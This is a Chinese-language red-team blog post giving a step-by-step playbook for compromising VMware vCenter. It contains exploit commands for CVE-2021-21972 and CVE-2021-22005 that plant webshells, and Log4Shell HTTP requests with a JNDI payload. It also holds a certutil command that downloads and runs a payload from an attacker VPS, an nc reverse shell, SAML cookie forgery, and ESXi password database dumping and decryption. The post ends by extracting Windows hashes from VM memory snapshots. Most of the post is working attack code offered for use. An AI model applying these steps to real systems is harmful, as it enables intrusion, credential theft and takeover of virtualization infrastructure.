红队技术 – Vcenter 实战利用方式总结

Vcenter 利用方式总结

指纹特征

title="+ ID_VC_Welcome +"

查看 Vcenter 版本

/sdk/vimServiceVersions.xml
红队技术 - Vcenter 实战利用方式总结

CVE-2021-21972

/ui/vropspluginui/rest/services/uploadova

访问上面的路径,如果 404,则代表不存在漏洞,如果 405 则代表存在漏洞

红队技术 - Vcenter 实战利用方式总结

windows 机器:

漏洞利用: https://github.com/horizon3ai/CVE-2021-21972

python CVE-2021-21972.py -t x.x.x.x -p ProgramDataVMwarevCenterServerdataperfchartstc-instancewebappsstatsreportgsl.jsp -o win -f gsl.jsp

-t (目标地址)
-f (上传的文件)
-p (上传后的webshell路径,默认不用改)
红队技术 - Vcenter 实战利用方式总结

上传后的路径为

https://x.x.x.x/statsreport/gsl.jsp

完整路径为

C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport
红队技术 - Vcenter 实战利用方式总结

Linux 机器:

1、写公私钥(需要 22 端口开放)

python CVE-2021-21972.py -t 172.16.64.56 -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub

2、遍历写 shell(时间较久)

https://github.com/NS-Sp4ce/CVE-2021-21972

红队技术 - Vcenter 实战利用方式总结

CVE-2021-22005

影响范围

  • vCenter Server 7.0 < 7.0 U2c build-18356314
  • vCenter Server 6.7 < 6.7 U3o build-18485166
  • Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
  • Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
  • 6.7 vCenters Windows 版本不受影响

漏洞利用:

https://github.com/r0ckysec/CVE-2021-22005

cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell
红队技术 - Vcenter 实战利用方式总结

https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py

红队技术 - Vcenter 实战利用方式总结

连接 webshell

https://x.x.x.x/idm/..;/test.jsp
红队技术 - Vcenter 实战利用方式总结
上传后的 webshell 完整路径为

CVE-2021-44228

利用 log4j 漏洞,漏洞触发点为 XFF 头部

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

DNSlog 探测漏洞是否存在

X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
红队技术 - Vcenter 实战利用方式总结

使用 JNDIExploit 工具,-u 查看可执行命令

红队技术 - Vcenter 实战利用方式总结

漏洞利用:

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIP
X-Forwarded-For: ${jndi:ldap://VPSIP:1389/TomcatBypass/TomcatEcho}
cmd:
红队技术 - Vcenter 实战利用方式总结
红队技术 - Vcenter 实战利用方式总结

cs 上线

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
cmd: certutil -urlcache -split -f http://VPS C:UsersPublic1.exe && C:UsersPublic1.exe
X-Forwarded-For: ${jndi:ldap://VPS:1389/TomcatBypass/TomcatEcho}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
红队技术 - Vcenter 实战利用方式总结

Linux 使用反弹 shell 命令

nc -e /bin/sh 10.10.10.10 8888
nc -lvp 8888

弹回来若是非交互式 shell 没有回显,使用以下命令切换为交互式

python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
红队技术 - Vcenter 实战利用方式总结

获取 vcenter-web 控制台权限

重置密码

比较快的一种方法,但是修改之后无法获取原来的密码,管理员会发现密码被改

选择 3 选项,输入默认 [email protected] (需要管理员权限)

#Linux 
/usr/lib/vmware-vmdir/bin/vdcadmintool 

#Windows 
C:Program FilesVmwarevCenter Servervmdirdvdcadmintool.exe
红队技术 - Vcenter 实战利用方式总结

cookie 登录

通过解密数据库登录获取 cookie,再用 cookie 登录 web

解密脚本:https://github.com/horizon3ai/vcenter_saml_login

python vcenter_saml_login.py -p data.mdb -t 10.9.16.11 

然后会生成相应的 cookie,访问 ui 路径进行 cookie 替换即可

#Linux
/storage/db/vmware-vmdir/data.mdb

#windows
C:ProgramDataVMwarevCenterServerdatavmdirddata.mdb
红队技术 - Vcenter 实战利用方式总结

使用小饼干替换 cookie,成功登录

红队技术 - Vcenter 实战利用方式总结

windows 运行脚本需要安装对应版本的 python-ldap

https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1
pip install python_ldap-3.4.0-cp38-cp38-win_amd64.whl
pip install -r requirements.txt
红队技术 - Vcenter 实战利用方式总结
红队技术 - Vcenter 实战利用方式总结

实际测试过程中发现 windows 的 data.mdb 文件过大,拉回来不是那么方便,适合 Linux 机器

红队技术 - Vcenter 实战利用方式总结

这时候如果目标机器上装有 python 环境,可使用 3gstudent 师傅的脚本进行利用

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

python vCenter_ExtraCertFromMdb.py data.mdb
红队技术 - Vcenter 实战利用方式总结

运行脚本会生成三段证书文件,放置到相应的位置

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt
红队技术 - Vcenter 实战利用方式总结
image-20220829142148838

不重置获取密码(ESXI)

查看域

#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost

#windows
C:Program FilesVMwarevCenter Servervmafddvmafd-cli get-domain-name --server-name localhost
C:PROGRA~1VMware"vCenter Server"vmafddvmafd-cli get-domain-name --server-name localhost

坑点:由于路径中间存在空格,导致识别不了

红队技术 - Vcenter 实战利用方式总结

解决方法:使用双引号对含有空格的路径进行单独处理

红队技术 - Vcenter 实战利用方式总结

1、获取解密 key

#Windows
type C:ProgramDataVMwarevCenterServercfgvmware-vpxsslsymkey.dat

#Linux
cat /etc/vmware-vpx/ssl/symkey.dat
红队技术 - Vcenter 实战利用方式总结
2、获取数据库账号密码

vcenter 默认数据库文件存放在 vcdb.properties,配置文件中有数据库的明文账号密码

#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

#Windows
type C:ProgramDataVMware"VMware VirtualCenter"vcdb.properties
type C:ProgramDataVMwarevCenterServercfgvmware-vpxvcdb.properties
红队技术 - Vcenter 实战利用方式总结
红队技术 - Vcenter 实战利用方式总结

默认是 postgresql 数据库,只能在 vCenter 服务器本地登录,执行语句查询 ESXI 的密码

#psql默认存放位置
Windows: C:Program FilesVMwarevCenter ServervPostgresbinpsql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql

#执行语句查询
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

#执行完会输出一段加密字段
Command> shell psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
Shell access is granted to root
Password for user vc: 
ip_address  | user_name |                                         password                                      
-------------+-----------+---------------------------------------------------------------------------------------
192.168.1.1 | vpxuser   | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
192.168.1.2 | vpxuser   | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
192.168.1.3 | vpxuser   | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
192.168.1.4 | vpxuser   | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
(4 rows)

#只保留password字段
*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==

在实际情况中也碰到使用 MSSQL 数据库的情况,这时候直接使用 navicat 进行连接,搜索 VPX_HOST 表

红队技术 - Vcenter 实战利用方式总结
红队技术 - Vcenter 实战利用方式总结
3、使用脚本解密

https://github.com/shmilylty/vhost_password_decrypt

  • password 字段放到 password.enc 里面
  • symkey.dat 为第一步获取的解密 key
红队技术 - Vcenter 实战利用方式总结
python decrypt.py symkey.dat password.enc password.txt

执行脚本后,会输出一个 password.txt,里面存放着对应 ip_address 的 ESXI 机器密码

4、登录 ESXI

在 ESXI 机器地址后面添加 /ui ,访问 web 控制台,账密为 vpxuser/password.txt里的密码

红队技术 - Vcenter 实战利用方式总结
红队技术 - Vcenter 实战利用方式总结

解密出来的密码除了可以登录 web 控制台以外还可以 ssh 登录机器,不过需要服务里开启 SSH 安全 shell

红队技术 - Vcenter 实战利用方式总结
红队技术 - Vcenter 实战利用方式总结

获取虚拟机权限

登录 web 控制台后,想要获取某个虚拟机的权限,比如说目标系统为靶标

选择目标虚拟机,操作生成快照

红队技术 - Vcenter 实战利用方式总结

到数据存储位置找到相应的快照文件

红队技术 - Vcenter 实战利用方式总结

也可以通过 ssh 登录 ESXI 服务器上,通过 find 找出相应的 vmem 和 vmsn 文件拷贝到本地

find / -name "*.vmem"
红队技术 - Vcenter 实战利用方式总结

https://www.volatilityfoundation.org/releases

使用 volatility 工具查看 profile

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo
红队技术 - Vcenter 实战利用方式总结

读取注册表

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist

红队技术 - Vcenter 实战利用方式总结

获取 hash 并解出密码

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010
红队技术 - Vcenter 实战利用方式总结
红队技术 - Vcenter 实战利用方式总结
© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容